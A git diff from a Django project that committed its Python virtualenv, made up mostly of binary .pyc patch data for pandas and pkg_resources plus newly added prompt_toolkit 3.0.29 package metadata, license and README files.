z(YIs;Ib+rIT0(>QT^X6jEG-@0BW-V^w}%HpQ0JXuPEAdYYH?w5Fj zeh+PH36|nnpJH&0>{u?V7pS>q=x1@Zo3q!9oqTaiS@6V__^abbZs|6%u-U)Lm(f#mGc6`ceeKZsksc-@KKZuJ(VvO1Pfqtm`jm*2 z!68pc>dBNADAsDJKDyZ2)8THMN;;#-%zisNGnI12wI6Z^04D(Qi@;w%4+GKwoMero Mp=AP#^tpBT8z!R=?*IS* delta 1279 zcmZuxO>j$L6wTK>p=mt}sw7EG5D!>XErVXB6 z5vJ>&8h0!Btqj3=e11GqR?-Hh7O;)pdNzukx!<0cCiYTn#Y53Szg8R;-E^?}mx$)} z*X+|A-H;xld$j@g(b+m3V8ZmKHWxjFFv?)Lbbb7+F=`rP!@4f*P}(JWwX}3Ag2oQBcJ}s%}qG%-1Azy6uaLaPGUWT!`)D@atk1o%Yw1 z_i08pk(L2eEmr>WINkO4@E*SUYgP|3Z`sp{k(nYnfSNAAc7PWUr%>R8ryU{OxOXKO z01?kU2m~~-n_jH%XIvesZafBF1FT~R7RmkmV-*i3$5Kgi*vtfl97R@jt_%*)c&JzG zpx2@0qKiI)VVYs@?HHwo@Hf2=dx3rV@o(I z7mjx!4%1}Ar;76km2biPGNl`X(RR+Tb}0lG5zm)v`NwkV`dD)4>?j^w3`tda643>~ zWk8`~q3i^GYxK;U;Pl|F#mjQu&CiNTc0q+J zfLgi%%CQnrJHy{~$SWZ7d$1Pix?!5hjFCws%`~s5u$cet}M|*|*?KGGVF;1y{AAY5Lew zA*ShP%bBW%d=d4*P~)oa#}+ytsd986-AVT&euw&p_0X$`&oKbjpzjg?67>EBfUY-oJ%Fl5$VLidcaPA`cOm>>3}2v@3X`UBGn$I=|^k) E5A;J2?*IS* diff --git a/django_lottopy/lib/python3.10/site-packages/pandas/util/__pycache__/_exceptions.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pandas/util/__pycache__/_exceptions.cpython-310.pyc index 65f7e1abf44997cd0d0c3465ee0eff3edfbfa2c2..c5d9b45a665d5e4a1698ae5bd4e10171a9e2e0dc 100644 GIT binary patch delta 65 zcmcc4d7YCdpO=@50SNlVXC!UpsbprnHMxy>Go#{UD;6(lF`&dPzU2J8lGKWl+{C=Z R^wgpvexP8H;^g@(764Oc5}N=3 delta 65 zcmcc4d7YCdpO=@50SF3K?n&IpQ_0L2HMxy>Go!*}D;6(lQJ};vzU2J8lGKWl+{C=Z R^wgpvexP8H!sPiZ764m660QIM diff --git a/django_lottopy/lib/python3.10/site-packages/pandas/util/__pycache__/_print_versions.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pandas/util/__pycache__/_print_versions.cpython-310.pyc index ea69e0b9098290c41576a280d0efec7fa708dd3e..0ba6c67bf721000f89bce51d6248a8d2f01726a2 100644 GIT binary patch delta 451 zcmYk3yGjE=6o#EO*(|$>u@Eg3jEdkTUeG9rAc%PB1&e8x-RvZ8nCy--vzSdI))p4i zDA?F3*oa`^1NaKUbXLBFI7b_&_&9U^^AG=FK5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+6rz{SPx~P!FbqB923Dq z!BfHW96b0J^jH_Ys1)yB3PK@x>7~bBy!F)gjW^%n^S&cpN27@FqoTWXDt zzlSHrQCbgDZ<~R9Ob;mcc|O)DCqrY0ipi-_B`V0J`JBoUSC*2!1xs5jtEZe(aOT*A zF39`rI@!r-_J>X-IkZZSh5I~UC`{9n(Lp%wv#k!!{J&QVh!*6hHK1xz%b#e}NdA;w zq*cK+`wNwlEBlP>0$eU~WTO6fFg)0g!>B*ihLiDBi{8BCrd-^+lWD`Y2wPs7ck^OZ zdelkc$~SGbixB?HE5H)444^Zv0jmn?Gxx=JR;Vk7PLDQ|-%g-WOFY-22hw%dDUc&~ z*?gkBf&O|wWabU|>OLl4uH9dmIud!nuAJ33io3{3+`yLNmfEIsug3j|+v0jV<^Ott zjrV{o(3VeLy%s3xr2LLUzUmHzc?)<7Y|ny>GTf8DUMu@Z$v}@M(dZpNgO-PlN*#mZ XA~2g9Ccsr-R?G|qYk diff --git a/django_lottopy/lib/python3.10/site-packages/pandas/util/version/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pandas/util/version/__pycache__/__init__.cpython-310.pyc index fd26aedde2241c4d6263909df5bafbcac7191fb5..c5c7005a41244c7bde816f46ec9bc0e365bdb418 100644 GIT binary patch delta 795 zcmYjOO-xfk5N6BkvqCFXf~`SK5GARlwtYZ=)|gbV{={fe59TGN5q-v*(l%QpHSwS) z5=~0uC{`m@5r07%S{3zTg@YO|9t}6W=>ZSkATjRu8nJu$_M7=;W@mPmQcEdw++wMz z5@*Dg?VmC87LRI7a4j4yUollq#FK-gtQ% z9YMx!lf$`--J!G2px}9@Pw=14!n$$9JrLk9@ILS!>a*HwdIZfeVNTGO)+-g&DCyeC zvWTINuH)<`HSKsST@%sdbvY{In%tcmM^RVe0o1(=$O3i)ZlN_Ab`yIk#jI-!`^6rEGHZyQ6H zf!9IHRq*>2{2{$j0_-X+D~D?*5ts+eP|0kkfwoI5NBOmzsJ8u+{0hP>x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p=~4N z!EaZg9TCgLnR+Atw&ECs)|=VpdvX4qYc1acsunc~wZG+Biz3~)64iXdtPFE{^n_eY zm}wzOFn5HhuJjr7ISC;70>4MA_j7=U<*M`S_o)0|97rMBD&!fNpL;d#eE%`TO{3cpn9oZ)xUCSf_ z*z%+a{NhMrjU(dUYEE zz5wE%7DoKFA(sCOB9k1mw1tKyF9nLw`==dBYFjAZ*y@n;=4Guky)XclO8};UA5z0n7PPR# z{8uXtH6o6Vw4L-Jxi^3^DIb)eG7CGODyBQw9#6blyCmNO&HD3bM=}spGq? z#5Unmh+T^kKZ-U}dz*jW&0&9=9o_L$E^W?kqmyl#QT_}I&jBvJY!`JGk6HGD>Wc~) zTGajta553=Bq0)(qjCWn0VG@<1j+~e$>*f?wfvja1|^YT5h$I3#^<@jzeQ^F1sX=R z$ytt4b0D*8gc3?}^spVDJ`pCmeFkth>iA!NUWXF)E0%+=-&8H*SxHs=j8m*d9Y8bJ z+18{IP{M_R6075PE`0pL&3&!JPD@!g^tf5Shf3N+@IDaSgwFCtp;_?{nh`$ma@mh+z6%V8P>t=M{hOs4^zj0$0}w?x z7p3(88vuM5_Z9#o^j4o0eB;WmVprRFyd1okp1qXZCi*lIUCIH@0GJFg1z;)z{*Ac& z*Li}WApfY^{%--Htj5#CVro80?*TLeYy;?0*t7Au3Sc$B8h{G{E&>o6>W|Vmkg7%L zI!?p+cZdK1fXx75fCxYfKr6sbfL#EW0l>P|Hz0F4KCb{sgS0O}=~949d=>&+iO(QP z7o)TfU_ZcBJpb5R1w1`cVE}nVvkxUaC{cLXq4omo2aqQY^5_8n83+D9o(L)X>i=dS zTn)lel`t7>a~c3Sfd(!B diff --git a/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/__pycache__/appdirs.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/__pycache__/appdirs.cpython-310.pyc index e2f62bd728351cd9cf4124a1e40844bff371151e..8ea7a53fb3e5d0d88537706ea8b848275630e68c 100644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BAEhk8*`PhVjNRUNs)2STUo>)I_9Bj#lRhf2vcz{IfhUxiFecSo{7Wb6nFX zrM{;=`v=+Mx?iL-RQZcs>xd6e8TzN+<*Y7uP!|*=phlwlF#wy0Y*Ovho8<7+uaVDg z=Ya@A;(Ki&erGuA$!KpLhfv*zV8n?GVVukMgQjy`BB%WP<12qmLzc(I!(r@ zqOOu&O#Nr*lS8tfqXC*w$fEX0I?ja6C3QZHaL=c_d5K5INisOd;`Q2T(I3U6_>_?7 z_4?}QU(uo6Pjx$*jbBbL4ddTUAv|>J5dh?*g8z{UgC{3z%)DrKGm`hl9Y z9VLsE;?)JB9z4X2FCd_-DFfoTJ|W{ucyhqqQP{MF37{eI>q521vutbf;bv=NRw#4k;GEa3uEy z7slb|nE=NDoB*&~zaHo4o;3~<_M+riq}Bjz)WYSc>ADqJCn1ZC0vn#Q@N=dUFR+Gg JcR5nz{{Up)49frj diff --git a/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/__about__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/__about__.cpython-310.pyc index 273cf63d007833178600392cc41d5cca63cae2af..9f963b9c688fdcab91e22355af2161ea062fd0f1 100644 GIT binary patch delta 21 bcmcc3dYhFepO=@50SNlVXC!UpInM+DJKY72 delta 21 bcmcc3dYhFepO=@50SK}_>`vUsbDjwRL2(9T diff --git a/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/__init__.cpython-310.pyc index 70ecc5057170ee191598be980d73a77a5aaeaed8..4d073655278349a81259e97c4e191f29cfe46d9e 100644 GIT binary patch delta 44 wcmX@ea*%~5pO=@50SNlVXC!UpF=k|pn(V+R1tg;x?b!H%5=H!z=QAz>0NmXP_W%F@ delta 44 wcmX@ea*%~5pO=@50SK}_>`vUsW6a2SYqA5Q6p)N&v||$lN)!oBp3k@l00`I%(EtDd diff --git a/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/_compat.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/_compat.cpython-310.pyc index 86dea6ce92d95e753f38d33dc161a0a6f5919977..925ebcad94d831357b303f700437bb592fba8c41 100644 GIT binary patch delta 159 zcmbQqIg^topO=@50SNlVXC!Upk!NCz+N{IG$0#Za6f5Ed5rS}*$Yg(J8CFRkKWcIT zvz#JGjV5!EFi3$AhyY0;X%d;do>`Gmdh$hPRmNMBzcZUNMorddkx`1`N=htFEiNg_ U%u6qlhU)>_1|~!%=d$Pk0EDj{TL1t6 delta 159 zcmbQqIg^topO=@50SK}_>`vUsBhSQmYqJg$AET%kP^^d-LS-2jsZD2xlaxRMw0El`YzyJUM diff --git a/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/_structures.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/_structures.cpython-310.pyc index c8f3103b94b2fb391e1feab5b819f1dfa8fb674b..a2b71e08a116445fca858fb7d50c5033f37bd774 100644 GIT binary patch delta 21 bcmZ1|x=@rSpO=@50SNlVXC!UpnaTwKG{FT3 delta 21 bcmZ1|x=@rSpO=@50SK}_>`vUsGnESfI#mVU diff --git a/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/_typing.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/_typing.cpython-310.pyc index 5ed532b8f58ffe9890da10808889662fbd55c83b..404d43f074ff1b0bc1bc8e50559bf20f62bb1f0c 100644 GIT binary patch delta 33 ncmey%{g<03pO=@50SNlVXC!UpdBMUMHTf&cV@9^gH(6Bxr?d)R delta 33 ocmey%{g<03pO=@50SK}_>`vUs^MZx(*5t1&j~Uq~-(*z*0KC-;wg3PC diff --git a/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/markers.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/markers.cpython-310.pyc index 4825e5e0ee36ee492f518a737378ed986aa62100..00a427535a5179f11839f7f8b3a4aec6b9420414 100644 GIT binary patch delta 437 zcmZqjX!796=jG*M0D^w;8A%&?DnuEhCbx<@Ft$zBVV9ZwNYquh9VmGPh>KZ(1P22P zV^RBLE3s*e?UOHxg)w$-))2qWsL&0RE7AfHZ9w7{b7EelCg&~o+{B{n)S}{|&dKtU z@;p(TIT^+AWr;bZsZo=?B&8T9OiqF-C2EE6vKpxN35toWy2sIaww#klvzIKthwbNE^iN1QJn`?G#EG*G=XJ zns`RRoqr)nViAZ~03>crR#Nomzr`M(oS$2eSW?6f7Hd$91p54zqGwbTN0?)fr=ydP zYf&&rimy1eBp|V3q87}rfMl#|%ZEhoz)2GU!!4oGM+7iojoT|na2WIKgY#?6!Y zfhL|&aOYnFl2{5N76XZ>$x4d;{88-j$@#eji6uq+V6g_pNTAPeDSAfT;s|pL@^p0a zaV-i4O5NfsPAv&YEGkZQOfJdH&%4DP<{A|2>F*cs>>F^4)7LS`+chZOKj0P*lo{se z6Y6@4&B@>22Pnz~7Y({KxmL-T{}wk?#4*I*w`k4e{Yu&@pfD=}g>z9ShyVvB*k|BS QkOPUy0(~PsSylNi0J$%Io&W#< diff --git a/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/requirements.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/requirements.cpython-310.pyc index 81809f2264782e842694190e222f9131606a8e0e..96de071432ad81f849a965fbcbfb27e872eda9c4 100644 GIT binary patch delta 673 zcmZuu%}&)o6sGjHsr|XALBT`}I|LRWA|`Ik(2i1XJFU}}$k{X(Xh?}^uhY7|8&_^H znT-i9d#|B(R#s=gKWd(`&VOi+l`XF7`*${ll&$;?4`jB*L8p7Lkk_m{E34t#ylIE51!qPS z)hYXL>D5o&Q5QiUHbL36?5^y$EyE+OnrjMNZJM5}D^C$%?&WM|4DD@)(ec!_*^uM&R+};ck9f(mAEH*@GL_rq}5ft2>wn4*Mp{q!spG+e`e*!uU63+qL=t delta 673 zcmZuuJ#W-N5RK!rW&Cjg6d*_hr3)k=5fYsQNJtxd0W0>Nv$hdQV;zYV`Gn5L+SJ!j z(SWpNDEJGIk|IBWeoB5pegd->9Y?`RexCRC&1h!!bnSG_tv%0Pz%#t~Ir#3rH$1S1 zbu~&`QH@SOelh}WQ~olxwJoWeyEh)9RjmGnyDHj}hbHgAQc;WQq#6z06-_%3EqHUG z936}Qrk?#aJ$)I>K@(L?D{iWKj}>f7-Coz=Y|{=j?SULSD;v*HhmPtF%%&D?c|5g( zj)`J@nuKtFQ3Udb^UYIs!IYw*Qn^z$Dh`uEL0XVb!KBM5yNKDuPKGTe*3H71dlx;E)O-YX0 zsvgbF)7z^t;d|I>N^wGx^*NZRFqGi>tPEj6acP4twp;weuc?WGg46vx~#S>h! Wc!~gK{dQO$wYdIs_m=#+H2DKY&&H?# diff --git a/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/specifiers.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/specifiers.cpython-310.pyc index 3b0217cf8cc14feb7e443ff6db6e717634157bea..611d25be3569f7e67a6ba98f035c67d3d7df712b 100644 GIT binary patch delta 1393 zcmY+EZERCz6vutWdPmFJwG6j)tnGRoV|56uY%O!^I=9hn*0zl3Vs0>{UGLb{(%wAx zLg*NxI2bVA%rQ7$rbDKnMvS>=;>#8=aRJ{@W7L$ykLoAU559&EKIhhf_QNmd`JZ#1 zmvheT_zW4JA*ETf*>oHGov55jzE%2zwJ1{#*KON=)L;~Kuj&Y0o5Xr$c_YUhJ3^c%BMgFRD7!;Ws8TX5(lis`Nw2*^FeYeHQfY$bJWKyBdNe>Ox-NR{ z+V|eO2)7f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xc$sn_?WK;9>d%JVYh>i!mmv5)Ar)*xG^Ut0Sd&qB7S z=%grLq2BBQI@op}LzJf*ZPm=Vgax~SPk|Nk1dG{c)Erz&S-WofD-?DWP)++ZTNP0r zebR1aUy{+@WI3Oj*_)k9do$9hzGJt!LoU70@vb-s+U_bTox7|nB2ipsWQ>YCZlmUV zGxV#SCs@`sA$Rjfu*x#ULir+lF0|K)Y+eqS{rrvoTgb}n*M#7+nHLtPwRe??iq&?N zY><$+4cLzz=}=b>8>A1rw&xoVOM$JxSHRbROwR5~wnQx^weC`H0CT3 b2rHTmYu0rZ!%ILCSOAv9CoY#R_jLXR6HTV0 diff --git a/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/utils.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/pkg_resources/_vendor/packaging/__pycache__/utils.cpython-310.pyc index 09ad7df9fa8a748d9d1ef052e40e3116334cbfe0..372b6d76eaf39c217d861e34960e2b19df86f617 100644 GIT binary patch delta 27 hcmZqSZQ*3*kph>B=b zFrXQ{BQN6ZNloJ)@J*vnCSLmHn_AHMm{nVD~9XJ;4rBDbk_yR{6T zX~(U^b6eKImaR34ViX~APj-6*n@Rx?>VmTOjN`$HnK`7qC;1756;N+(cAD8)+G zZo{TD@n(c4Ol&7(5E(Qjc1pO=>d-(ehtSTD6EmLd?7Fy=*({xG0^D(_;>wY{;li*c&xnY4_1NT}dy!KVF8F=q&bzY}fQ_oi; zCEg&w*fODo+03b-L7~o3_6&6RyV*&Y^zW?#invK|o4`dq6o2^Fv8}RE@O+60QI8HB z-Es2M$MqRxDao^0E@Vl`r4n2$|Cj}cwuWp4j4eq01Ho9}AbfV!!sFHtHUFt-t00b1 zMV5mHft^f&FM;;j5zKpweP(DUEoKX|7%WRBlNf<5!6i0^@ebG*Qk^u<9-mQcL#s6= z%87~Jg5N?LQLrH#4PBz^%LuYLMyo5EVz{p*DV9_RP)5g@L}23 p&5yOLI!_Sh8SLsid@Y29L$MRh#~hh%_JOS#-ej^-)EjkkIm_ zuHA-BCyCc1JZ54$8H326k?gc^p)EiSu`EI}Lvjkn-K}MR6U905o`<+)jg?|r3Nb(2 zwM+$?kZASjl`_OTX6ac|z5Icxh0V{WwRw3o2b{)x3 z3CuaF;azRl%B9sp>8`p6n;?b!bX_@PXW>b`XXT{fLej7LfP0);FbgNOpc1qZOb}EO zT-4v>P{U<*1LhlM?KkO?hUa62maY5oFiC>9;N^ySb{pJlo$%UM!gBE5*XW$0SX0MW zBPC7~U~G}l!))gMzFwhCQ+5to{O#-vO!)Vf-JyuP1osGB)Iy0OuH$Mh5;mvFeK81tUXOwxL zGNHWbKup@()FXXrUxr5qQ#`G&v|d@R?i9QerFZcxxumUYAkj|h`f1fas=heDW1GWk#;a zKiE2z6@db`Sn?8cQ#F~u4!gxtT#%ZK;=Cp7alA?(jUYFJluhR65CiI0<5k9Q9}x36=!a0Nn$)m(Ji*bf`Zh%lp;QK#avwZPTU~H z90f)B1*t_Pl|}p@H4-2K~XNF3(8FSFper^ zFlFWQ&u6pPN*oc`?ChLx``$Ol3bmg-X^%gG56kO-)e5=3aFxhlp`^#wM4&#C! zp-9i5~nl1tZLx|`j))525&x4jLCZ}{u|A==Q4kA29 Td#GqA3$L5Q1{VHrJz%|0 + +Contributors +------------ + +- Amjith Ramanujam diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/INSTALLER b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/LICENSE b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/LICENSE new file mode 100644 index 00000000..e1720e0f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/LICENSE @@ -0,0 +1,27 @@ +Copyright (c) 2014, Jonathan Slenders +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, this + list of conditions and the following disclaimer in the documentation and/or + other materials provided with the distribution. + +* Neither the name of the {organization} nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/METADATA b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/METADATA new file mode 100644 index 00000000..bc64b681 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/METADATA @@ -0,0 +1,186 @@ +Metadata-Version: 2.1 +Name: prompt-toolkit +Version: 3.0.29 +Summary: Library for building powerful interactive command lines in Python +Home-page: https://github.com/prompt-toolkit/python-prompt-toolkit +Author: Jonathan Slenders +License: UNKNOWN +Platform: UNKNOWN +Classifier: Development Status :: 5 - Production/Stable +Classifier: Intended Audience :: Developers +Classifier: License :: OSI Approved :: BSD License +Classifier: Operating System :: OS Independent +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.6 +Classifier: Programming Language :: Python :: 3.7 +Classifier: Programming Language :: Python :: 3.8 +Classifier: Programming Language :: Python :: 3.9 +Classifier: Programming Language :: Python :: 3.10 +Classifier: Programming Language :: Python :: 3 :: Only +Classifier: Programming Language :: Python +Classifier: Topic :: Software Development +Requires-Python: >=3.6.2 +Description-Content-Type: text/x-rst +License-File: LICENSE +License-File: AUTHORS.rst +Requires-Dist: wcwidth + +Python Prompt Toolkit +===================== + +|Build Status| |AppVeyor| |PyPI| |RTD| |License| |Codecov| + +.. image :: https://github.com/prompt-toolkit/python-prompt-toolkit/raw/master/docs/images/logo_400px.png + +``prompt_toolkit`` *is a library for building powerful interactive command line applications in Python.* + +Read the `documentation on readthedocs +`_. + +NOTICE: prompt_toolkit 3.0 +************************** + +Please notice that this branch is the ``prompt_toolkit`` **3.0** branch. For most +users, it should be compatible with ``prompt_toolkit`` **2.0**, but it requires at +least **Python 3.6**. On the plus side, ``prompt_toolkit`` **3.0** is completely type +annotated and uses asyncio natively. + + +Gallery +******* + +`ptpython `_ is an interactive +Python Shell, build on top of ``prompt_toolkit``. + +.. image :: https://github.com/prompt-toolkit/python-prompt-toolkit/raw/master/docs/images/ptpython.png + +`More examples `_ + + +prompt_toolkit features +*********************** + +``prompt_toolkit`` could be a replacement for `GNU readline +`_, but it can be much +more than that. + +Some features: + +- **Pure Python**. +- Syntax highlighting of the input while typing. (For instance, with a Pygments lexer.) +- Multi-line input editing. +- Advanced code completion. +- Both Emacs and Vi key bindings. (Similar to readline.) +- Even some advanced Vi functionality, like named registers and digraphs. +- Reverse and forward incremental search. +- Works well with Unicode double width characters. (Chinese input.) +- Selecting text for copy/paste. (Both Emacs and Vi style.) +- Support for `bracketed paste `_. +- Mouse support for cursor positioning and scrolling. +- Auto suggestions. (Like `fish shell `_.) +- Multiple input buffers. +- No global state. +- Lightweight, the only dependencies are Pygments and wcwidth. +- Runs on Linux, OS X, FreeBSD, OpenBSD and Windows systems. +- And much more... + +Feel free to create tickets for bugs and feature requests, and create pull +requests if you have nice patches that you would like to share with others. + + +Installation +************ + +:: + + pip install prompt_toolkit + +For Conda, do: + +:: + + conda install -c https://conda.anaconda.org/conda-forge prompt_toolkit + + +About Windows support +********************* + +``prompt_toolkit`` is cross platform, and everything that you build on top +should run fine on both Unix and Windows systems. Windows support is best on +recent Windows 10 builds, for which the command line window supports vt100 +escape sequences. (If not supported, we fall back to using Win32 APIs for color +and cursor movements). + +It's worth noting that the implementation is a "best effort of what is +possible". Both Unix and Windows terminals have their limitations. But in +general, the Unix experience will still be a little better. + +For Windows, it's recommended to use either `cmder +`_ or `conemu `_. + +Getting started +*************** + +The most simple example of the library would look like this: + +.. code:: python + + from prompt_toolkit import prompt + + if __name__ == '__main__': + answer = prompt('Give me some input: ') + print('You said: %s' % answer) + +For more complex examples, have a look in the ``examples`` directory. All +examples are chosen to demonstrate only one thing. Also, don't be afraid to +look at the source code. The implementation of the ``prompt`` function could be +a good start. + +Philosophy +********** + +The source code of ``prompt_toolkit`` should be **readable**, **concise** and +**efficient**. We prefer short functions focusing each on one task and for which +the input and output types are clearly specified. We mostly prefer composition +over inheritance, because inheritance can result in too much functionality in +the same object. We prefer immutable objects where possible (objects don't +change after initialization). Reusability is important. We absolutely refrain +from having a changing global state, it should be possible to have multiple +independent instances of the same code in the same process. The architecture +should be layered: the lower levels operate on primitive operations and data +structures giving -- when correctly combined -- all the possible flexibility; +while at the higher level, there should be a simpler API, ready-to-use and +sufficient for most use cases. Thinking about algorithms and efficiency is +important, but avoid premature optimization. + + +`Projects using prompt_toolkit `_ +*********************************************** + +Special thanks to +***************** + +- `Pygments `_: Syntax highlighter. +- `wcwidth `_: Determine columns needed for a wide characters. + +.. |Build Status| image:: https://api.travis-ci.org/prompt-toolkit/python-prompt-toolkit.svg?branch=master + :target: https://travis-ci.org/prompt-toolkit/python-prompt-toolkit# + +.. |PyPI| image:: https://img.shields.io/pypi/v/prompt_toolkit.svg + :target: https://pypi.python.org/pypi/prompt-toolkit/ + :alt: Latest Version + +.. |AppVeyor| image:: https://ci.appveyor.com/api/projects/status/32r7s2skrgm9ubva?svg=true + :target: https://ci.appveyor.com/project/prompt-toolkit/python-prompt-toolkit/ + +.. |RTD| image:: https://readthedocs.org/projects/python-prompt-toolkit/badge/ + :target: https://python-prompt-toolkit.readthedocs.io/en/master/ + +.. |License| image:: https://img.shields.io/github/license/prompt-toolkit/python-prompt-toolkit.svg + :target: https://github.com/prompt-toolkit/python-prompt-toolkit/blob/master/LICENSE + +.. |Codecov| image:: https://codecov.io/gh/prompt-toolkit/python-prompt-toolkit/branch/master/graphs/badge.svg?style=flat + :target: https://codecov.io/gh/prompt-toolkit/python-prompt-toolkit/ + + + diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/RECORD new file mode 100644 index 00000000..1906ef5c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit-3.0.29.dist-info/RECORD @@ -0,0 +1,300 @@ +prompt_toolkit-3.0.29.dist-info/AUTHORS.rst,sha256=09xixryENmWElauJrqN1Eef6k5HSgmVyOcnPuA29QuU,148 +prompt_toolkit-3.0.29.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +prompt_toolkit-3.0.29.dist-info/LICENSE,sha256=MDV02b3YXHV9YCUBeUK_F7ru3yd49ivX9CXQfYgPTEo,1493 +prompt_toolkit-3.0.29.dist-info/METADATA,sha256=Zr_LcO1xBoWrlkM6vTD4cvpBUQgifWGLmtX3BbELjmE,7070 +prompt_toolkit-3.0.29.dist-info/RECORD,, +prompt_toolkit-3.0.29.dist-info/WHEEL,sha256=G16H4A3IeoQmnOrYV4ueZGKSjhipXx8zc8nu9FGlvMA,92 +prompt_toolkit-3.0.29.dist-info/top_level.txt,sha256=5rJXrEGx6st4KkmhOPR6l0ITDbV53x_Xy6MurOukXfA,15 +prompt_toolkit/__init__.py,sha256=sjCVPWvjYNsC16ArJyTp8GRsnflZ-AEJpHtVEtAReAc,927 +prompt_toolkit/__pycache__/__init__.cpython-310.pyc,, +prompt_toolkit/__pycache__/auto_suggest.cpython-310.pyc,, +prompt_toolkit/__pycache__/buffer.cpython-310.pyc,, +prompt_toolkit/__pycache__/cache.cpython-310.pyc,, +prompt_toolkit/__pycache__/cursor_shapes.cpython-310.pyc,, +prompt_toolkit/__pycache__/data_structures.cpython-310.pyc,, +prompt_toolkit/__pycache__/document.cpython-310.pyc,, +prompt_toolkit/__pycache__/enums.cpython-310.pyc,, +prompt_toolkit/__pycache__/history.cpython-310.pyc,, +prompt_toolkit/__pycache__/keys.cpython-310.pyc,, +prompt_toolkit/__pycache__/log.cpython-310.pyc,, +prompt_toolkit/__pycache__/mouse_events.cpython-310.pyc,, +prompt_toolkit/__pycache__/patch_stdout.cpython-310.pyc,, +prompt_toolkit/__pycache__/renderer.cpython-310.pyc,, +prompt_toolkit/__pycache__/search.cpython-310.pyc,, +prompt_toolkit/__pycache__/selection.cpython-310.pyc,, +prompt_toolkit/__pycache__/token.cpython-310.pyc,, +prompt_toolkit/__pycache__/utils.cpython-310.pyc,, +prompt_toolkit/__pycache__/validation.cpython-310.pyc,, +prompt_toolkit/__pycache__/win32_types.cpython-310.pyc,, +prompt_toolkit/application/__init__.py,sha256=Vmaq4QcT50k7-1kXHJeuTxYBsI1gqLMOqINymkDM4k0,621 +prompt_toolkit/application/__pycache__/__init__.cpython-310.pyc,, +prompt_toolkit/application/__pycache__/application.cpython-310.pyc,, +prompt_toolkit/application/__pycache__/current.cpython-310.pyc,, +prompt_toolkit/application/__pycache__/dummy.cpython-310.pyc,, +prompt_toolkit/application/__pycache__/run_in_terminal.cpython-310.pyc,, +prompt_toolkit/application/application.py,sha256=JnXNTtN_lenicXhf2kntgT3fRYwB9pGPk88ltYyuhlA,55218 